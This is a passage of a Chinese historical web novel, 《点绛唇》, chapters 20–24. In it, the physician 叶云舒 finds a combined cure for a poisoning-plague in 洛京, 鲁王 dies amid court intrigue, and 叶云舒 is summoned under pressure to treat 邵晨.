叶云舒并不认识眼前这人,却觉得眼前这人自己似乎在哪见过,这时房间里熟悉的声音唤道:“是阿云吗?进来吧!” 叶云舒侧身一让,门口的那男子终于把目光从叶云舒身上移开,回头对房间里的人骂道:“陶峰!你就接着作孽吧!” 然后气势汹汹的离开了。 叶云舒目送着此人离开,才进了房间关上了门,回过头看向桌边坐着的男子,此人样貌清秀,只是满头白发,让人猜不出年纪。 叶云舒上前一礼,唤道:“师父!” 房内的陶峰看向叶云舒,点了点头。 叶云舒虽对刚刚那个来找她师父的男子有些好奇,可眼下最重要的是解毒,于是她问道:“师父,近日城中的病情您可已知情?” 陶峰点了点头,“已经知晓。” 叶云舒急忙接着问道:“那师父可有解毒的办法?” 陶峰看着叶云舒,好一会了才倒了一杯水给叶云舒,问道:“你从何得知是中毒而不是瘟病呢?” 叶云舒接过水,“从脉象上确实是瘟病,起初徒儿也这样认为,按着治疗瘟病方子下了药。可病情却不见好,甚至出现昏迷的情况,后来沈姑娘和房公子找来让乞丐们中毒的水,我也按着水中的毒配了解药,可一旦解毒又会诱发瘟病,甚至加速瘟病的发病时间。” 叶云舒说完,转头看向陶峰。 “解药?”陶峰给自己倒了一杯水,面无表情道:“你确实精进了许多。” “那师父可是有了解毒的法子?” 陶峰喝了一口水,淡淡道:“没有。” 叶云舒抬头注视着眼前的白发男子,良久,她才开口问道:“师父,刚刚那人……” 陶峰这才看向叶云舒,“一个故人而已。” 听到这,叶云舒心中的疑虑还是丝毫未解,她从小跟着陶峰,从来不曾见过陶峰有过亲友,甚至连住处都是在山中的一处孤僻的院子,少有人烟,如今刚到洛京没几天,就有故人上门……看来是为了二十年前的事。 陶峰咳了两声,“行了,我累了!你去吧!” 叶云舒见 21. 第二十一章 染病 《点绛唇》全本免费阅读 沈安宁和房小九一路跟着黑衣人绕了几条巷子,沈安宁越发觉得不对,眼前这黑衣人体型和那‘白羽’相比似乎更瘦些,那人一路疾行,最后在一扇老旧的房门前停下,沈安宁也立即停下。 身后的房小九急忙赶来,单手撑在一旁的墙上,尽量将自己声音放小后喘着气问道:“怎么……不追了?” 说着上前望了一眼,那黑衣人正在一户人家前打量四周,确认四周无人后,黑衣人敲了敲门,屋内没有反应,黑衣人又敲了一遍,不久后屋内烛光闪烁了两下,随后照亮了窗户,接着一位里面开了一条门缝,黑衣人不知说了什么,便将帽子取下,屋内这才将门打开。 开门的是一位上了年纪的妇人,妇人手持的烛火,将黑衣人迎进,黑衣人进屋前不放心的看了眼四周,正看向沈安宁和房小九这边时,两人迅速的躲进了檐墙下,随后黑衣人进去将门关上。 这边的沈安宁满心疑惑,方书君在这瘟病肆虐的时候不在府中好好待着,大半夜的一个人跑到这来干什么?不过既然不是‘白羽’,沈安宁也不太有心思打听别人的私事,待回头看向房小九,一时心中涌上一计,道:“看来这爱在大半夜出来晒月光的不止你一个啊!不过这兴趣别致,你们又都恰好有此兴趣,有这缘分几百年前是一家也说不准。” 房小九见黑衣人是方书君心中也满是疑惑,为何方书君深夜到此?回过神听见沈安宁试探自己,便笑道:“这位公子晒月光都捂得这么严实,岂不是辜负这月光了?想必兴趣也不会和我相同。” 沈安宁也没再纠缠,只是回过身往回走,房小九回头看了眼那处亮着烛光的屋子,随后才跟上了沈安宁,两人直径往医馆走去,进了医馆,就见陈子洵刚好端着一个空药碗出来,一见沈安宁就问道:“阿宁!你怎么回来了?” “我来看看,在府也是等着,还不如在这等着。叶姑娘和齐博士呢?” “在里面想办法呢!”这时陈子洵才看到沈安宁身后的房小九,他看了看房小九又看了看沈安宁,最后把目光放在房小九身上,“房公子这是?” “我也来看看能不能帮上什么忙。” 陈子洵看向沈安宁,“阿宁,你是和这位房公子一起的吗?” 这原本是个很容易的问题,可这时沈安宁不知为何却有些不知怎么做答,倒是房小九见状,答道:“我在途中遇到沈兄弟,得知沈兄弟也是来医馆,所以便和沈兄弟同行了一段路。” 陈子洵又看向房小九,正准备再开口,就听见房内传来一阵噪杂声,三人立即往房内走去。 噪杂声出自二旺躺的位置,好几个医师医者正围做一团,三人走近,才发现叶云舒、齐茂成和另一位医师正蹲在二旺两旁摁住二旺乱动的手脚为他切脉。 躺着的二旺看起来非常痛苦,满头大汗,一直不停的乱动,连在破衣衫里的那一锭藏了好久的金子也掉了出来,嘴里不停叫喊着。 过了好一阵,二旺像是没有了力气,突然平静下来了,摁着他的三人都楞了。叶云舒抓起二旺的手就开始把脉,感受到脉搏在自己手中越来越微弱,忽然她喊道:“二旺!二旺!” 二旺像是突然听见叶云舒的叫唤,缓慢的转头看向叶云舒,忽然双手开始摸索着什么。 齐茂成见状,捡起他身旁的那一锭金子问道:“你是在找这个吗?” 二旺像是突然有了力气,立刻从齐茂成手中抢过,护在手心,又转头看向叶云舒,虚弱道:“叶姑娘,我……是……是不是……快死了?” 叶云舒鼻头一酸,“还有办法的!一定还有办法的!” 二旺先一步流下泪来,“我……我真的……要死了?” 二旺摸了摸手中的金子,然后递给了叶云舒,“叶姑……娘,你能……帮我……把这个给……给马婆婆吗?她挺……挺可怜的!” 叶云舒接住二旺递来的金子,二旺好似不愿意撒手,叶云舒也没有催他,等着他自己放手。 “谢……谢……”叶云舒手中一重,二旺终于松了手,但同时也永久的闭上了眼。 一滴泪从眼中流下,叶云舒低着头喃喃道:“一定有办法的!” 沈安宁走近蹲下,轻轻拍了拍叶云舒的背。 齐茂成叹了口气,“你已经尽力了!” 叶云舒还是一直低着头,齐茂成看了看沈安宁,起身和其他医师一起离开了。 陈子洵正想上前,房小九拉了他一下,他转过头看向房小九,又看向叶云舒,最后还是和房小九一起离开了。 沈安宁不知道该怎么安慰叶云舒,只有安静地陪着。 “到底哪里出问题了?”叶云舒像是在问自己。 沈安宁转头盯着额头还有汗水的二旺,“解药失效是因为诱发了瘟病的话,若是能医治瘟病和解毒一同进行是否可行?” 叶云舒一听,缓缓抬起来头看向沈安宁,双目含泪,似乎在想什么。 沈安宁不知所以,正想拿一块手帕递给她。 叶云舒蓦然站起,沈安宁见状也站了起来,叶云舒紧紧的拉住沈安宁的手,“我知道了!我知道了!” 话完,叶云舒便转身疾步离去了,沈安宁不解,不过见叶云舒这情形,想必是想到了其他的解毒法子,想到这,沈安宁也跟这叶云舒离开。 “叶……”陈子洵和房小九正在房外等着,见叶云舒出来,正想上前唤道,却又见叶云舒着急离开,便也就没有唤出,立在原地看着叶云舒离开的背影。 这时沈安宁也出来了,陈子洵立刻上前问道:“阿宁!叶姑娘这是怎么了?” 房小九本是倚栏而坐,这时也站起身来走向沈安宁。 沈安宁看了看房小九一眼,才把目光放会陈子洵身上,“我也不知,可能是想到了解毒法子。” “解毒的法子?”陈子洵挠了挠头,“那我去看看又什么可以帮忙的。”说完正欲转头离开,又回过头看向沈安宁,“阿宁,今天也很晚了,你……”陈子洵微微侧头看了房小九一眼,“不太合适,你早些回去!” “阿娘在燕姨哪!你放心吧!我也想等解药!” 陈子洵看着沈安宁,他知道沈安宁不会听他的,想了想便把自己的外衫给了沈安宁,“那好吧!夜里凉!” “知道了!”沈安宁接过了外衫,陈子洵才离开。 这时一直在一旁看着沈安宁没有说话的房小九转头看着离去的陈子洵,“沈兄弟和陈兄倒是感情甚好。” 沈安宁抬头看了看房小九,不知是不是夜光清冷的缘故,眼前的房小九面中的血色似乎又退了一些,看起来真有些像个病秧子。沈安宁把手中的外衫丢给他就转身离开,“要是来赏月光的还是趁早回去吧!若不是,就不要在这干站着了!” 房小九单手慌乱地接下外衫,有些惊奇,抬头看向沈安宁转身的背影,不自觉地笑了笑,又用那只没受伤的手披上外衫后跟了上去。 两人到了配药的药房,齐茂成和几位医师在讨论药方配药,叶云舒和陈子洵正在抓药,陈子洵正帮叶云舒拿了一味放在高处的药,转头看到沈安宁和房小九,目光在房小九身上的外衫上了停了一眼,又转头帮叶云舒拿其他药去了。 房小九看到了陈子洵的目光,他看了看陈子洵又看向正专心看着叶云舒他们抓药沈安宁,最后也把目光放到了正在抓药的医师们身上。 药终于抓好了,众人都围过来看向桌上的药,一位医师问道:“连翘、苦桔梗……叶医者,这药方是……?” 叶云舒抬起头来,“解药!还是沈姑娘提醒了我,既然病人不能先解毒,那便两者一同进行,我改了一下解药的药方配合着治疗瘟病的方子……或许有一线生机。” 齐茂成一直盯着桌上的药,这时他才抬起来头看向叶云舒,却见叶云舒正看着自己,思量片刻,随即向叶云舒点了点头。 叶云舒这才微微笑了。 陈子洵见状,上前道:“那我来帮你煎药吧!” 叶云舒摇了摇头,“还是我自己来吧!这药煎至香气大出时便可,无需过煎。” 叶云舒拿着药去了后院,陈子洵也跟了上去。 齐茂成转头看向房小九,见他面无血色,急忙上前,正准备唤道,似乎想起了什么又止住了,最后开口道:“房公子,你面色看起来不太好,已是后半夜了,这药喝下去今夜也未必有结果,公子身子骨弱,还是先去休息吧!” 沈安宁这才回过头看向房小九,这张脸确实是比白天还要白些。 见两人都看向自己,房小九到没有在意,摆了摆手道:“无妨。”< 22. 第二十二章 鲁王 《点绛唇》全本免费阅读 最后一点月光还在渐渐消失,各条街因为瘟病的缘故异常的宁静,此时的凝黛宫却乱作一团,宫女和公公们个个都带着白纱跪在方景淳的寝殿前,邵欣哭得梨花带雨,泪湿了白纱,没了往日贵妃的气势。 这时床塌上传来方景淳的嘶叫,邵欣即刻往方景淳处跑去,“十郎啊!” 却被几位医师拦下了,“贵妃娘娘小心贵体!” 邵欣气道:“你们倒是想办法啊!没看到十郎这么难受吗?” 几位医师赶紧下跪,低着头不敢出声。 “要你们有什么用!你们不是医师吗?为什么救不了我的十郎!” 方昭溪上前扶住了母亲,邵欣回头一见是女儿,“五娘啊!这可怎么办啊?” 方昭溪转过头问道:“几位医师既然想不到救治的办法!那可有能让鲁王不这么难受的法子?” 几位医师面面相觑,其中一位抬起头来,“回公主,宫外有位叶医者,昨日说是想出个能解这瘟病的法子,不过后来发现……或许能缓解鲁王殿下的痛苦。” 邵欣一听,急忙道:“那还不赶紧去拿方子!” “是!是!是!这就去!”医师起身后退了出去。 一旁久未开口的方景澄和虞芳草夫妇上前,虞芳草和方昭溪一起,扶着邵欣坐下。 邵欣拉着方昭溪和虞芳草的手盯着不远处的方景淳。 月落日升,一丝阳光从医馆的窗户钻进,扫过了沈安宁的眉眼,沈安宁这才睁开了眼睛,却一眼看到自己身上盖着昨夜给房小九的外衫。 沈安宁楞了会,看向不远处的塌,房小九已经不在那处,她才起身舒展,昨夜坐着睡了大半夜,身体有些活动不开。 等她活动好来到后院时,房小九正和叶云舒一起给陈子洵喂药,她急忙上前,“阿洵!” 叶云舒放下碗,抬头看了一眼沈安宁,“他已经喝了药,中午就高热就能退下了!沈姑娘不必担心!” 一旁的房小九自沈安宁出现后就目光就一直跟着她,叶云舒喂了最后一口后扶着陈子洵躺下。 “药?这是解药吗?”沈安宁看着叶云舒放下的碗。 “对!马婆婆的毒已经解了!” 沈安宁眉头舒展,“太好了!其他的医馆的可有方子了?” “还没有。” “我这就去叫人来!”沈安宁正欲起身离开,又回过头看向叶云舒,“我这就回去叫人来把阿洵接回府,在此之前还多劳烦叶姑娘照顾阿洵,多谢!” 叶云舒转头看了看陈子洵,然后向沈安宁点了点头,“沈姑娘放心吧!” 沈安宁这才起身离开,刚出医馆就差点被一个步履匆匆的侍卫撞了,还好她灵活,一个转身就让开了。那侍卫似乎也不关心是谁,骂了一声后急忙往医馆里面走,还拉住一个小厮问道:“有个叶医者,可是在这医馆?” 沈安宁闻言,也停下了脚步。 这时齐茂成刚好出来,那个侍卫一见齐茂成就推开了小厮,上前问道:“齐博士!贵妃娘娘听闻有位叶医者有治瘟病的方子,特派我来取!那位叶医者可这此?” 齐博士点了点头,“请跟我来!” 昨日听闻方景淳染上了瘟病,想来就是邵贵妃的人了,沈安宁看到这也就没再看下去了,叫人把叶云舒的方子誊抄给了其他医馆,自己则带着方子回了陈府。 一到陈府,是楚管家给她开的门,沈安宁立刻把方子给他让他安排人煎药给府上病人吃下,自己则去了孙雪燕院子看她。 阿月还没有醒,彩云也趴在孙雪燕床边瞌睡,沈安宁轻轻走进,见江秋妤已经坐在孙雪燕身旁,安静地为她擦拭了,沈安宁低声问了安,又为孙雪燕把了把脉,最后又去了厨房,为孙雪燕煎药。 等沈安宁端着药回到院子时,阿月和彩云都醒了,阿月一见沈安宁便立刻上前,“小姐!你什么时候回来的啊?” “刚到。” 彩云也走了过来,一见沈安宁手上端了药,立即问道:“姑娘,这是给夫人的药吗?” 沈安宁点了点头,端着药走近孙雪燕,阿月和彩云立即上前帮忙。 彩云看着药,“我来给夫人喂吧?” 沈安宁把托盘放在一旁的小桌子上,端起药来,江秋妤道:“我来吧!你扶起你燕姨!” 沈安宁将手中的药给了她,又轻轻扶起孙雪燕,几人小心翼翼把药给孙雪燕喂了下去,又扶着孙雪燕躺下。 彩云这才想起陈子洵,问道:“姑娘,我家少将军没和您一起回来吗?” “他也染上了瘟病,现在正在医馆。” 江秋妤一听陈子洵也染上了,急道:“阿洵也染了瘟病!这可如何是好啊?” 彩云、晴云和阿月也担心地看着沈安宁。 “已经喂了药了!叶姑娘也在医馆照看着!你们不必担心!”沈安宁接过江秋妤手中的碗放下放下,看着床上躺着的孙雪燕,突然问道:“阿爹呢?” 昨天江秋妤没回侯府,按以往沈海的性子早就来接她了,可现在却至今还未有消息。 阿月疑惑道:“对啊!侯爷昨日也没回来吗?” 沈安宁眉尖微蹙,看向脸上还留着担忧神色的江秋妤,随后向阿月道:“让人去侯府看看?” 阿月点了点头出去了,不一会就带着楚管家一道回来了。 楚管家给江秋妤和沈安宁端来了一份早饭立在院外,屋内的沈安宁放下孙雪燕,江秋妤细心的为孙雪燕擦拭流出的药,随后沈安宁扶着江秋妤起身来到院内。 楚管家一见江秋妤和沈安宁,躬身一礼后把早饭放到了院内的石桌上,“鲁王染上了瘟病,宫中昨日关上了宫门,所有人一律不得出入,怕住在宫外的官员将瘟疫带进宫,所以侯爷昨夜在宫中未曾回府。” 江秋妤松了口气道:“原来如此。” 楚管家见江秋妤沈安宁坐在了石桌旁,于是关心道:“江夫人和姑娘忙碌了一夜,今日姑娘又这么早来送药方,府中这会都忙着给病人熬药,所以我给夫人和姑娘做了些简单的早饭,先垫两口,待厨房空出来了,我再给夫人和姑娘做些精致的饭菜。” 沈安宁点了点头谢过,江秋妤道:“你们近日也辛苦了!这些就很好!不用劳烦了!” 阿月站在沈安宁身后看着桌上的早饭,这份早饭在楚管家手中端着的时候她的目光就一直跟着了,这时沈安宁回过头,“快吃吧!” 阿月一笑,坐到了沈安宁身旁的石凳子上就开始吃了起来。 沈安宁又回过头看向彩云:“你也一起吃吧!” 彩云急忙道:“这是给夫人和姑娘准备的……” 江秋妤道:“无妨!你照顾雪燕也辛苦了!先吃点垫垫吧!晴云,来,一道吃些吧!” 彩云看了看楚管家又看了看沈安宁,最后才坐下,小心地拿起桌前的吃食。 楚管家见状也只是笑了笑,只是这会他才发现不对,昨日明明是沈安宁和陈子洵两个人一起出去的,为什么只有沈安宁回来了,于是问道:“姑娘,少将军为何没和姑娘一道回来?” 沈安宁把陈子洵的情况又说了一遍,楚管家随即就急了,“少将军也染上了瘟病?他在医馆可有人照顾啊?我这就过去看看!” 说着楚管家就回头准备往医馆走,这时一个小厮急急忙忙的过来,“楚管家!楚管家!” 楚管家斥道:“冒冒失失的!出什么事了?” “鲁……鲁王,薨了!” 楚管家震惊道:“什么?” 江秋妤也满是诧异,阿月一时停下了手中的动作,看了看那个答话的小厮又转头看了看沈安宁。 沈安宁抬眼看向那个小厮,小厮平息了下气息,“刚刚宫中传来消息,今日有人拿着解药的方子去了皇宫,可宫门紧闭,说是圣上的旨意要关闭宫门,任何人不可以进出,后来邵贵妃闹到了圣上面前,才开了宫门把方子递进去,可鲁王还是没有等到,就薨了!” 晴云道:“那依邵贵妃的性子,怎能轻易罢休?” “是啊!可是关闭宫门是圣上的旨意,邵贵妃也无可奈何,只能拿宫门口的几个守卫是问,圣上应当是念及她刚刚丧子,就依她去了。” 楚管家回过头看向江秋妤和沈安宁。 沈安宁正一脸沉思,眉尖微蹙,既然宫门昨日就关了,今日在医馆还碰见了来寻方子的侍卫,这邵贵妃能派人出来,却进不去? 楚管家见沈安宁没有说话,于是示意小厮下去,“姑娘怎么看?” “宫中之事,尚不明晰,府中按着礼数备好所需之物即可,其余的事,等陈叔回府再做打算。” 沈安宁说完看向江秋妤,见江秋妤点了点头,楚管家就立即去吩咐人准备了,自己则带着早饭去了医馆看陈子洵。 一个上午过去,府中病人都服下了解药,刘医师忙完了前院的病人,便来给孙雪燕看看,刚一进来就见江秋妤,立即行礼道:“江夫人!” “刘医师快快请起,劳烦医师看看孙夫人如何?” 刘医师起身替孙雪燕诊脉后答道:“从孙夫人脉象来看瘟病已除,过一会就会醒,只是这大病初愈,身子还有些虚,还得多加调养。” 众人一听都松了一口气,江秋妤谢道:“多谢刘医师!” “这是老夫的职责,只是这方子确实厉害,敢问沈姑娘,这药方是从何而来?” “一位姓叶的医者那里得来的。” 刘医师听后抚了抚胡子,“果真是神医圣手啊!老夫这就去为孙夫人开调养的方子!” 江秋妤唤道:“晴云,你和医师一起去拿方子。” 刘医师走后,江秋妤坐到了孙雪燕床边,拉着孙雪燕的手笑道:“好了就好!好了就好!” 沈安宁上前看了看孙雪燕,“阿娘!阿洵现在还在医馆,燕 23. 第二十三章 治愈 《点绛唇》全本免费阅读 方承尧一行人从凝黛宫出来后,直径往御书房走去,“医师拿来的那个方子可是真的能解这瘟病?” 康公公立刻上前,“我这就去查探清楚!” 看到方承尧点了点头后康公公才低着头脱离了这一支队伍,往另一个方向走去。 方承尧停顿了一下,像是在担忧什么,最后转身离开。 一个小公公见状立即喊道:“摆驾惠兰宫!” 陈府门口,沈安宁从马上一跃而下,看着楚管家正想去搀扶马车里的陈子洵,陈子洵却直接出了马车就跳了下来,似乎头有些晕,踉跄了一下。 这一下把楚管家吓到了,立刻上前扶着陈子洵,“少将军,你这还生着病呢!伤筋动骨还得一百天呢!你这可是伤身子的病,可不能这么任性。” 陈子洵摆了摆手,“无妨。先去看看阿娘!” “少将军,你自己还病着呢!先去休息吧!夫人那边有江夫人在,你可以放心的。” 陈子洵摇了摇头,“我也躺不住,而且我也没什么大碍了,还是先去看看阿娘吧!” 楚伯知道自己拧不过他,又看向沈安宁。沈安宁点了点头,看着沈安宁也同意,也就放弃了,可是楚伯还是不放心,一路紧紧的跟着陈子洵,几人很快就到了孙雪燕的院子。 一进门就见孙雪燕正靠坐在床头,旁边坐着江秋妤,两人正在聊着什么。 “阿洵!”孙雪燕朝着门口唤道。 江秋妤她们听见孙雪燕的呼喊后才回过头看向门口,陈子洵走上前来,“阿娘!你终于醒了!刘医师给你诊脉了吗?现在怎么样?” 阿月扶着江秋妤给两人让出了位置,孙雪燕看了看眼前有些憔悴的儿子,忍不住心疼得伸手摸了摸陈子洵的头,“阿娘没事,你吃了解药了吗?” 陈子洵笑着点了点头,“我没事,阿娘不用担心,用不了几天就好了!” “怎么才几天就瘦了这么多?” “没瘦,你先好好休息,等阿爹回来看见你好了,一定很开心!” 楚管家这时上前,“夫人,少将军,你们两个这才大病初愈,还是多休息多养养。” 孙雪燕点了点头,然后看着陈子洵起身准备回自己房间。 “夫人!夫人!”这时院子外面响起陈其武的声音,众人一听皆是一惊,等声音到屋外时,众人才反应过来。 “夫人!”陈其武在门口就看见已经醒了的孙雪燕,一瞬间就笑开了颜,立刻上前占了陈子洵的位置,拉起孙雪燕的手,“夫人!刚在宫里听说有位叶医者制出了能解瘟病的方子,我还着急呢!结果一回来下人就告诉我说你已经醒了!” 孙雪燕也跟着笑了。 “夫人!你真的好了吗?你还有哪不舒服吗?刘医师呢?叫他来看看!” 楚管家也开心的上前,“刘医师去为府中其他病人看诊了,我这就去请他过来!” 说完楚管家一边笑着一边擦了一把眼泪,就往门外走去了。 “我已经好了!没事了!你不用担心!” 陈其武点着头,“好了就好!好了就好!” 陈其武这才发现站在一旁的儿子,见他脸色苍白,还未开口,陈子洵就笑道:“阿爹,放心吧!我没事。” 陈其武看着他,最后点了点头又看向孙雪燕。 众人看着都由衷的开心,沈安宁看着陈其武,突然想起宫门被关,沈海和陈其武都被关在了宫里,怎么现在陈其武出来了? 她正准备开口问,阿月的声音响了起来,“陈将军!你回来了那我们侯爷呢?也出宫了吗?” 陈其武这才把关注分了一点给旁边,一见坐在桌旁的江秋妤也正看着自己,“你说我,刚一高兴,就忘了大哥的嘱咐了!” 陈其武起身走向江秋妤,“大嫂,宫门已经开了!我和大哥一起出来的,大哥嘱咐我说您可能会在陈府,叫我回来时遇见你了告诉你一声他出来了,要你不用担心,他怕你在侯府等他,所以先回去了。” 江秋妤也起身,松了一口气似的笑了笑,沈海到了侯府后就会知道她来了陈府,想必也会安心,“那就好。” “陈叔,为何这时宫门开了?”沈安宁扶着江秋妤坐下,自己和阿月立在一旁。 陈其武在江秋妤对面坐了下来,正想给自己倒一杯水,沈安宁见状就上手帮他倒了一杯。 陈子洵也走了过来,坐到了一旁。 陈其武喝了一口水后,道:“鲁王死了!你们知道了吧?” 陈子洵疑惑地看向陈其武,又看向正在点头的沈安宁。 “今早已经有人来告知了!” “鲁王去世,邵贵妃杀了为鲁王诊治的八个医师。” 众人脸上都印上了惊诧的表情。 阿月说出了众人心中所想,“就因为没有救回鲁王吗?这……也太残忍了!” 陈其武接道:“给皇家当差,得时刻担心自己的脑袋。” “我记得今早邵贵妃派人去医馆拿了方子,为何没有送到宫里?”沈安宁狐疑道:“若说宫门已经关闭了,可这人怎么出来的?为何又进不去了?” 陈其武一拍后脑,“对啊!大哥也是这么说的!但要是说起来拦着不让送方子的人,那可疑的人就多了。” 沈安宁冷静的分析道:“前面有圣上在宫宴上封了王,又让方景淳去学习政事,后面方景淳就出事了,这可疑之人……怕是几位皇子,尤其是陆家的都难脱嫌疑。” 陈其武表示赞同的点了点头,“大哥说邵贵妃杀了这八个医师,而圣上不闻不问是因为忌惮邵家。” 一旁坐在床上的孙雪燕这时出声,“邵贵妃痛失爱子,怕是心里也对皇帝有所恨吧!若不是圣上下令关闭宫门,凶手哪有可趁之机。” 阿月问道:“所以邵贵妃这是杀给圣上看的吗?” 孙雪燕想了想,“多少有些爱子之心吧!” 陈子洵这时问道:“阿爹,那你们是如何出宫的?” “就是这个被拦在宫门口的方子,听说是一个姓叶的医者开的,可以治疗这个瘟病,圣上就立即派人出宫去查证了,查证后就开了宫门,让太医署赶紧派人去治病,我们才得以出来!”陈其武说着又转头看向沈安宁,“这个叶医者就是之前来给夫人诊治的那个姑娘吗?” “是她。” 陈其武笑道:“不得不说,这姑娘年纪轻轻,医术倒是高明。” 陈子洵听到这,也不知不觉地笑了。 楚管家带着刘医师已经到了院门口了,陈其武立即让他进来给孙雪燕看诊。 刘医师给他们行礼后放下药箱,为孙雪燕切脉,众人都紧张的看着刘医师的表情,过了好一会,直到刘医师笑着起身,给孙雪燕躬身一礼,“夫人没什么大碍了,只需要多加调养,过几天就能恢复了!” 孙雪燕笑了笑,“多谢太医妙手,劳烦医师也给阿洵看一看,我正放心不下他的病情。” 刘医师转身,看向面无血色的陈子洵,“小陈将军怎么也染上了瘟病,快快坐下,老夫为你看看!” 陈子洵就近坐了下来,“我没事,练武之人,小病小灾的难不倒我。” “老夫知道小陈将军身子骨强壮,只是这瘟病不同寻常,小陈将军还是要多加注意。” 陈子洵怕孙雪燕担心,也不在说什么。 等医师为陈子洵看后,告诉众人陈子洵目前也并无大碍了,众人这才安了心。 就在沈安宁和陈其武说起这两天的事时,一个侍女前来通报说是沈海来接江秋妤了。 江秋妤见孙雪燕看起来好了很多,而且陈家父子也回来了,所以就起身告辞了,并且嘱咐彩云做些滋养的吃食,最后又仔细看了看孙雪燕,才出了孙雪燕的院子。 沈安宁带着阿月也离开了,跟着江秋妤一同到了前厅,沈海正坐着喝着茶。 沈海一见江秋妤出来,立刻放下了手中的茶上前从晴云手中接过江秋妤的手,问道:“夫人这两日可还安好?” 江秋妤温柔的笑了,“我还好,就是有些担心侯爷,不过你们回来了就好!雪燕的病也快好了!真是太好了!” 沈海也笑了笑,“那就好!” 沈安宁上前行礼,“阿爹!” 沈海转头看向沈安宁,“嗯,这两天可有其他情况?” 沈安宁当然知道沈海说的是‘白羽’的事,只是张千之前和沈海一同去了宫中,她宫外又一直在忙瘟病的事,确实没有去找‘白羽’,于是她抬头道:“暂时没有发现什么异常。” 沈海听后只是点了点头,江秋妤见这两父女一见面就是聊这些,笑了笑,“我们回府吧!你们父女俩这两天都没怎么好好休息,等回府了你们父女俩休息好了再去聊公事!” 沈海低头看了看自家夫人,“好,我们回府!” 几人一起出了陈府,路上父女俩还是没有听江秋妤的,又聊起了公事,沈安宁把宫外这两日的情况都和沈海说了一遍。 几番日落日升,自从叶云舒想出了方子,已经过去了两个月了,洛京城内的瘟病也在慢慢的消失了,沈安宁见医馆已经恢复过来后也不再去医馆了,倒是叶云舒这两个月不是在陈府就是在医馆,十分忙碌。 陈子洵已经好了,倒是孙雪燕原也是身体强健,只是经此一病,躺在床上调养了一个月,其中除了江秋妤母女和阿月每天都过来陪她喝药,叶云舒也经常过来给她诊脉。 这天,叶云舒又一次给已经可以下床的孙雪燕把了脉,江秋妤和沈安宁等人正在一旁看着,等叶云舒把完了脉,笑了笑,“夫人身体已经恢复过来了,我为夫人把调养的方子换换。” 孙雪燕笑着看向江秋妤,“我都说没事了吧!你们不信!你听听,叶姑娘都说没事了!” 江秋妤捂唇轻笑。 阿月在一旁开心道:“太好了!燕夫人好了!” “终于可以好好活动活动了!”孙雪燕说着还起身活动了一下。 叶云舒轻声笑了笑,收拾好药箱就准备起身了。 江秋妤拉住她的手问道:“叶姑娘这是又要去医馆吗?你这两个多月也辛苦了,看你的脸似乎都比刚见你时瘦了,不如在这休息一会再回去?” 叶云 24. 第二十四章 邵府 《点绛唇》全本免费阅读 马车一路疾行,叶云舒在马车中想着邵晨会怎么对付自己,忽然间,马车停了下来,叶云舒正疑惑着,就听见小厮唤道:“叶医者!下车吧!” 叶云舒犹豫了一下后下了车,映入眼帘的正是邵国公府,叶云舒抑制住心中的厌恶看向小厮。 “请吧!我家老爷在里面等着你。” 叶云舒跟着小厮直径走了进去,又穿过大堂,一路弯弯绕绕,终于停在了一个院子前的亭子前,亭中坐着一位有着两鬓白发可眼色却依然凌厉的老人。 叶云舒皱眉看向亭中的几人,心中猜测这应该就是邵国公邵修齐,那老人的旁边坐着的中年男子就应该是邵盛。 王明珠坐在了邵盛对面,在她的不远处,还有一位紫衣姑娘正两眼望着叶云舒过来的方向,此人正是邵暮。 小厮把叶云舒带到了亭子外,“老太爷!老爷!夫人!人带来了!” 叶云舒看着众人都看向自己,于是忍着心中厌恶立在原地。 最先说话的是王明珠,王明珠似乎刚哭过,两眼还有些泪花,一见来者是一个年纪轻轻的女子,便急忙道:“这不是一个小丫头吗?她能做什么?你从哪找来冒名顶替的?” 小厮吓得赶紧跪下,“夫人息怒,小的去医馆问过了,就是她想出了治疗瘟病的法子!” “你还狡辩!来人!给我拖下去打!” “夫人饶命啊!夫人饶命啊!” 就在小厮哭喊声中,邵盛开口了,“好了!都什么时候了!你的事先记下,下去吧!” 又转头看向叶云舒,“就是你想出来的治疗瘟病的方子?” 叶云舒点了点头。 邵盛有些怀疑地看着叶云舒。 邵暮这时上前道:“阿爹!救人要紧!不如先让这位姑娘试试吧!” 王明珠一听就立即拍桌,朝着邵暮骂道:“你这死丫头,你就是想看我儿子死是吧!我王明珠这辈子是造了什么孽,碰上你们这狠心的娘俩!” 邵暮似乎极力想要掩饰已经涌上脸庞的委屈,道:“我没有,我也想……” 不等邵暮说完,王明珠又哭道:“你和你那个不要脸的娘一样,就是见不得我们娘俩好是吧!怎么染上这瘟病的偏偏是我儿不是你!” “好了!”一直没有说话的邵修齐这时开口了,王明珠立即安静了下来,不情愿地立在一旁。 邵修齐又对叶云舒道:“老夫孙儿不幸染上了瘟病,听闻叶医者是最开始治好瘟病的,既然你就是叶医者,那你能治好我孙儿吗?” 叶云舒抬头看向邵修齐,“我需要先看看病人。” “好,可以让你去看。”邵修齐抬眼看向叶云舒,眼神似乎不容置喙,“不过,老夫希望是好的结果。” 叶云舒被这眼神一寒,没有说话,带上了白纱,被一个小厮领着进了邵晨的房间。 邵晨的房内里堆满了各种奇珍异宝,让人眼花缭乱,叶云舒的目光略过了这些直接看向了躺在床上的邵晨,几个下人一见叶云舒过来就让开了一条道。 叶云舒在桌上放下了药箱,然后走向邵晨,下人赶紧把邵晨的一只手放好。 叶云舒向她们点了点头后就开始把脉,确实是染上了瘟病。 “府上可还有别的人染了瘟病?”叶云舒把邵晨的手放了回去。 侍女似乎一下被问住了,楞了一会,“府上好几个人都染上了,都是经常跟着公子的!” “那他们在哪?我也去看看。” 侍女支支吾吾了好一会,“被送去医馆了,夫人说留在府上怕传染给别人。” 叶云舒听后,面上并没有什么表示,只是心中忍不住鄙夷,用桌上的纸墨写下了方子后给了侍女,“煎至香气大出即可,两个时辰一服,每日三服。” 下人接过方子后出去了,叶云舒又背起药箱离开,一出房间就看到了刚写的方子到了邵修齐手中。 叶云舒上前告辞。 “叶医者不必着急,等人取来了药,还得劳烦叶大夫再看看。”邵修齐看着手中的药方,说着劳烦,可语气却全是命令。 叶云舒不解。 邵修齐把手中的方子给下人,命人去把药取来,然后才回过头看向叶云舒,“听闻老夫孙儿之前和叶医者之间有些误会,所以老夫想让孙儿向医者解释一下,所以还请医者先不必着急,等老夫孙儿醒来。” 叶云舒看着邵修齐,又转头看向坐在一旁没有说话的邵盛,见他也正看着自己,想必是因为之前的事,邵家不相信她会真心治邵晨,她知道今天邵晨要是没醒,自己怕是出不了邵府了。 